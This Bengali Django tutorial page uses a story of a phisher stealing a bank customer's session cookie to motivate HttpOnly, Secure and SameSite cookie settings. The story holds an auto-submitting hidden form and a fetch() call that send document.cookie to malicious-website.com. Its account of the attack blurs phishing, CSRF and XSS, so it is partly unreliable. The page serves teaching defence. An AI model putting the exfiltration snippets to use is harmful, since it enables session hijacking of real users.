Django

⌘K
  1. Home
  2. Django
  3. Security setup
  4. Security in Django
  5. ১. ৬ কুকি ও সেশন চুরি আটকানো HTTP-Only ব্যবহার করে

১. ৬ কুকি ও সেশন চুরি আটকানো HTTP-Only ব্যবহার করে

১. গল্পের চরিত্র

  • ভিকটিম: রাহুল, একজন সাধারণ ব্যাঙ্ক গ্রাহক।
  • হ্যাকার: অর্ণব, একজন সাইবার ক্রিমিনাল।

২. লগইন প্রক্রিয়া

রাহুল তার ব্যাঙ্কের ওয়েবসাইটে যান এবং তার ইউজারনেম ও পাসওয়ার্ড ব্যবহার করে লগইন করেন। লগইন সফল হলে, ব্যাঙ্ক তার একটি সেশন কুকি তৈরি করে যা তার লগইন সেশন তথ্য ধারণ করে।

লগইন সফল হলে কুকির উদাহরণ:

Set-Cookie: sessionid=abc123; Path=/; SameSite=Lax

৩. ব্যাংকের ফর্ম

ব্যাংকের ওয়েবসাইটে একটি সাধারণ ফর্ম রয়েছে যেখানে রাহুল টাকা স্থানান্তরের জন্য প্রয়োজনীয় তথ্য পূরণ করবেন। ফর্মটি দেখতে এরকম হতে পারে:

<form id="transferForm" method="POST" action="/transfer">
    <label for="account">প্রাপকের অ্যাকাউন্ট নম্বর:</label>
    <input type="text" id="account" name="account" required>

    <label for="amount">টাকার পরিমাণ:</label>
    <input type="number" id="amount" name="amount" required>

    <input type="submit" value="টাকা পাঠান">
</form>

৪. অর্ণবের পরিকল্পনা

অর্ণব, হ্যাকার, রাহুলকে একটি ফিশিং মেইল পাঠান। মেইলে লেখা ছিল:

“প্রিয় রাহুল, আমাদের ব্যাঙ্কে নতুন একটি অফার এসেছে! আপনি যদি আমাদের নতুন অফার সম্পর্কে জানতে চান, তবে নিচের লিঙ্কে ক্লিক করুন এবং আপনার অ্যাকাউন্টের তথ্য নিশ্চিত করুন।”

অর্ণব একটি লোভনীয় লিঙ্ক তৈরি করে, যা রাহুলের মনোযোগ আকর্ষণ করে। লিঙ্কটি ছিল:

http://malicious-website.com/offer

৫. রাহুলের প্রতিক্রিয়া

রাহুল লিংকটিতে ক্লিক করলে, সে একটি হিডেন ফর্মে নিয়ে যাওয়া হয়, যা ব্যাঙ্কের ওয়েবসাইটের মতো দেখতে। কিন্তু এটি আসলে অর্ণবের তৈরি ম্যালিশিয়াস ওয়েবসাইট। সেখানে রাহুলকে একটি ফর্ম পূরণ করতে বলা হয়।

হিডেন ফর্ম:

<form id="hiddenForm" method="POST" action="http://malicious-website.com/submit">
    <input type="hidden" name="account" value="ভিকটিমের অ্যাকাউন্ট নম্বর">
    <input type="hidden" name="amount" value="">
    <input type="hidden" name="cookie" value="document.cookie">
    <input type="submit" style="display:none;">
</form>

<script>
    document.getElementById('hiddenForm').submit();
</script>

৬. রাহুলের ভুল

রাহুল হিডেন ফর্মটি পূরণ করেন এবং “টাকা পাঠান” বোতামে ক্লিক করেন। সে জানেনা যে তার তথ্য একটি ফিশিং ওয়েবসাইটে যাচ্ছে। ফর্মটি রাহুলের সেশন কুকি এবং ব্যাংকিং তথ্যও অর্ণবের সার্ভারে পাঠায়।

কুকি চুরি:

fetch('http://malicious-website.com/submit?cookie=' + document.cookie, {
    method: 'POST',
    body: JSON.stringify({ data: "টাকা স্থানান্তর তথ্য" }),
    headers: {
        'Content-Type': 'application/json'
    }
});

৭. অর্ণবের দখল

অর্ণব তার ম্যালিশিয়াস সার্ভারে রাহুলের কুকি পেয়ে যায়। সে এখন রাহুলের ব্যাঙ্ক অ্যাকাউন্টে লগইন করার জন্য তার সেশন কুকির ব্যবহার করতে পারে এবং রাহুলের টাকা স্থানান্তর করতে পারে।

  1. অর্থ স্থানান্তর: অর্ণব ব্যাঙ্কের ওয়েবসাইটে লগইন করে টাকা স্থানান্তর সম্পন্ন করে।
  2. JWT টোকেন ব্যবহার: যদি ব্যাঙ্কের ওয়েবসাইট JWT টোকেন ব্যবহার করে, তাহলে অর্ণব সেই টোকেন দিয়ে API কল করতে পারে এবং রাহুলের অ্যাকাউন্টে টাকা স্থানান্তর করতে পারে।

৮. রাহুলের তথ্য চুরি

রাহুল তার টাকা স্থানান্তর করার পর, সে জানে না যে তার তথ্য চুরি হয়ে গেছে এবং তার ব্যাংক অ্যাকাউন্টের টাকা নিরাপত্তাহীন হয়ে পড়েছে।

৯. সুরক্ষা ব্যবস্থা

HTTP-Only কুকি ব্যবহার করে এই ধরনের আক্রমণ থেকে সুরক্ষা নিশ্চিত করার পদ্ধতি নিচে উল্লেখ করা হলো।

Django দিয়ে HTTP-Only কুকি সেট করা:

রাহুলের ব্যাংক অ্যাপ্লিকেশন তৈরি করার জন্য নিম্নলিখিত কোড ব্যবহার করা হবে:

from django.http import JsonResponse
from django.shortcuts import render
from django.contrib.auth import authenticate, login

def login_view(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')
        user = authenticate(request, username=username, password=password)
        
        if user is not None:
            login(request, user)
            response = JsonResponse({'message': 'Logged in successfully'})
            # HTTP-Only কুকি সেট করা
            response.set_cookie('sessionid', request.session.session_key, httponly=True, secure=True, samesite='Strict')
            return response
        else:
            return JsonResponse({'message': 'Invalid credentials'}, status=401)

    return render(request, 'login.html')

১০. HTTP-Only কুকির সুবিধা

  • XSS আক্রমণ থেকে সুরক্ষা: HTTP-Only কুকি JavaScript দ্বারা অ্যাক্সেস করা যায় না, তাই এটি হ্যাকারদের দ্বারা কুকি চুরি করা কঠিন করে।
  • HTTPS সংযোগ: secure=True সেটিং নিশ্চিত করে যে কুকিটি কেবলমাত্র HTTPS সংযোগের মাধ্যমে পাঠানো হয়।
  • SameSite পলিসি: SameSite='Strict' সেটিং নিশ্চিত করে যে কুকিটি শুধুমাত্র একই সাইটের জন্য পাঠানো হবে।

১১. উপসংহার

এই গল্পের মাধ্যমে আমরা দেখলাম কিভাবে একজন ভিকটিম HTTP-Only কুকির অভাবে তার তথ্য হারাতে পারে এবং কিভাবে হ্যাকাররা সেই সুযোগ গ্রহণ করতে পারে। HTTP-Only কুকি ব্যবহার করে, আমরা এই ধরনের আক্রমণের বিরুদ্ধে কার্যকরী সুরক্ষা ব্যবস্থা গড়ে তুলতে পারি এবং আমাদের অ্যাকাউন্টের তথ্য সুরক্ষিত রাখতে পারি।

প্রাকটিক্যাল

Django অ্যাপ্লিকেশনে HTTP-Only কুকি কনফিগার করা একটি গুরুত্বপূর্ণ পদক্ষেপ, যা নিরাপত্তা উন্নত করে এবং XSS (Cross-Site Scripting) আক্রমণের বিরুদ্ধে সুরক্ষা প্রদান করে। এখানে বিস্তারিতভাবে দেখানো হবে কিভাবে HTTP-Only কুকি কার্যকরভাবে কনফিগার করা যায় এবং এটি কিভাবে কাজ করে।

১. Django অ্যাপ্লিকেশন তৈরি করা

প্রথমে, Django অ্যাপ্লিকেশন তৈরি করতে হবে। এর জন্য নিম্নলিখিত পদক্ষেপগুলো অনুসরণ করুন:

নতুন Django প্রজেক্ট তৈরি করা

django-admin startproject myproject
cd myproject
python manage.py startapp myapp

settings.py কনফিগার করা

myproject/settings.py ফাইলটিতে নিচের সেটিংসগুলো যুক্ত করুন:

# Security settings
CSRF_COOKIE_SECURE = True  # কুকি কেবল HTTPS এর মাধ্যমে
SESSION_COOKIE_SECURE = True  # সেশন কুকি HTTPS এর মাধ্যমে
SESSION_COOKIE_HTTPONLY = True  # HTTP-Only কুকি
CSRF_COOKIE_HTTPONLY = True  # CSRF কুকি HTTP-Only

# অন্যান্য প্রয়োজনীয় সেটিংস
DEBUG = False  # প্রোডাকশনে, DEBUG False রাখা উচিত
ALLOWED_HOSTS = ['yourdomain.com']  # আপনার ডোমেন নাম যুক্ত করুন

২. HTTP-Only কুকির কার্যকারিতা

HTTP-Only কুকি সেট করা মানে হল, JavaScript দ্বারা কুকির অ্যাক্সেস সীমাবদ্ধ করা হয়েছে। এর ফলে যদি কোনো হ্যাকার XSS আক্রমণ চালায়, তাহলে সে কুকি চুরি করতে পারবে না।

HTTPS প্রোটোকলের ফলে, কুকিগুলি কেবলমাত্র নিরাপদ সংযোগের মাধ্যমে পাঠানো হয়। এর মানে, কুকিগুলি নেটওয়ার্কের মধ্য দিয়ে চলার সময় এদেরকে নিরাপদ রাখা হয়।

নিম্নলিখিত কনফিগারেশনগুলি নিরাপত্তা বাড়াতে সাহায্য করে:

  1. CSRF_COOKIE_SECURE:
    • এটি নিশ্চিত করে যে CSRF কুকি কেবল HTTPS সংযোগের মাধ্যমে পাঠানো হয়।
    • যদি HTTPS সংযোগ না হয়, তাহলে কুকিটি পাঠানো হবে না।
  2. SESSION_COOKIE_SECURE:
    • সেশন কুকিগুলি কেবল HTTPS-এর মাধ্যমে নিরাপদে পাঠানো হয়।
    • এর ফলে যদি কোনো হ্যাকার HTTP সংযোগ ব্যবহার করে, তাহলে সেশন কুকি পাচ্ছে না।
  3. SESSION_COOKIE_HTTPONLY:
    • এটি কুকিকে HTTP প্রোটোকলের মাধ্যমে অ্যাক্সেসযোগ্য রাখে, যার মানে হল, JavaScript দ্বারা কুকিটি অ্যাক্সেস করা যাবে না।
    • এটি XSS আক্রমণের ঝুঁকি কমায়।
  4. CSRF_COOKIE_HTTPONLY:
    • এটি CSRF কুকিকে HTTP প্রোটোকলের মাধ্যমে অ্যাক্সেসযোগ্য রাখে, যা CSRF আক্রমণ থেকে সুরক্ষা প্রদান করে।

৩. Django ভিউ তৈরি করা

myapp/views.py ফাইলের মধ্যে একটি লগইন ভিউ তৈরি করুন:

from django.shortcuts import render, redirect
from django.contrib.auth import authenticate, login
from django.http import JsonResponse

def login_view(request):
    if request.method == 'POST':
        username = request.POST.get('username')
        password = request.POST.get('password')
        user = authenticate(request, username=username, password=password)
        
        if user is not None:
            login(request, user)
            response = JsonResponse({'message': 'Logged in successfully'})
            # HTTP-Only কুকি সেট করা
            response.set_cookie('sessionid', request.session.session_key, httponly=True, secure=True)
            return response
        else:
            return JsonResponse({'message': 'Invalid credentials'}, status=401)

    return render(request, 'login.html')

৪. HTML টেমপ্লেট তৈরি করা

myapp/templates/login.html ফাইল তৈরি করুন এবং নিম্নলিখিত HTML কোড যুক্ত করুন:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form method="POST" action="/login/">
        {% csrf_token %}
        <label for="username">Username:</label>
        <input type="text" name="username" required>
        <br>
        <label for="password">Password:</label>
        <input type="password" name="password" required>
        <br>
        <button type="submit">Login</button>
    </form>
</body>
</html>

৫. URL কনফিগার করা

myapp/urls.py ফাইল তৈরি করুন এবং নীচের কোড যুক্ত করুন:

from django.urls import path
from .views import login_view

urlpatterns = [
    path('login/', login_view, name='login'),
]

এখন, myproject/urls.py ফাইলে অ্যাপের URL যুক্ত করুন:

from django.contrib import admin
from django.urls import path, include

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', include('myapp.urls')),
]

৬. সার্ভার চালানো এবং HTTPS নিশ্চিত করা

  • Django ডিফল্টভাবে HTTP দিয়ে চলে, তাই আপনাকে HTTPS সক্ষম করতে হবে। আপনি এটি করার জন্য Django এর runserver কমান্ড ব্যবহার করতে পারেন, কিন্তু এটি প্রোডাকশনের জন্য নয়। প্রোডাকশনে HTTPS ব্যবহারের জন্য, Nginx বা Apache এর মতো একটি ওয়েব সার্ভার ব্যবহার করা উচিত।

৭. উপসংহার

এখন আপনার Django অ্যাপ্লিকেশন HTTP-Only কুকি এবং HTTPS সেটআপের জন্য প্রস্তুত। এই সেটিংসগুলো ব্যবহার করে, আপনি আপনার ব্যবহারকারীর তথ্যকে সুরক্ষিত রাখতে পারেন এবং XSS ও CSRF আক্রমণের ঝুঁকি কমাতে পারেন।

৮. টেস্ট করা

  • আপনার ব্রাউজারে কনসোল ওপেন করে নিশ্চিত করুন যে কুকি HTTP-Only সেট করা হয়েছে। আপনি কুকিগুলি JavaScript দ্বারা অ্যাক্সেস করা যায় কিনা তা পরীক্ষা করতে পারেন।
console.log(document.cookie);  // এটি HTTP-Only কুকিগুলি দেখাবে না।

এইভাবে, HTTP-Only কুকি এবং HTTPS কনফিগারেশন সেট করে, আপনি আপনার Django অ্যাপ্লিকেশনকে নিরাপদে পরিচালনা করতে পারবেন।

How can we help?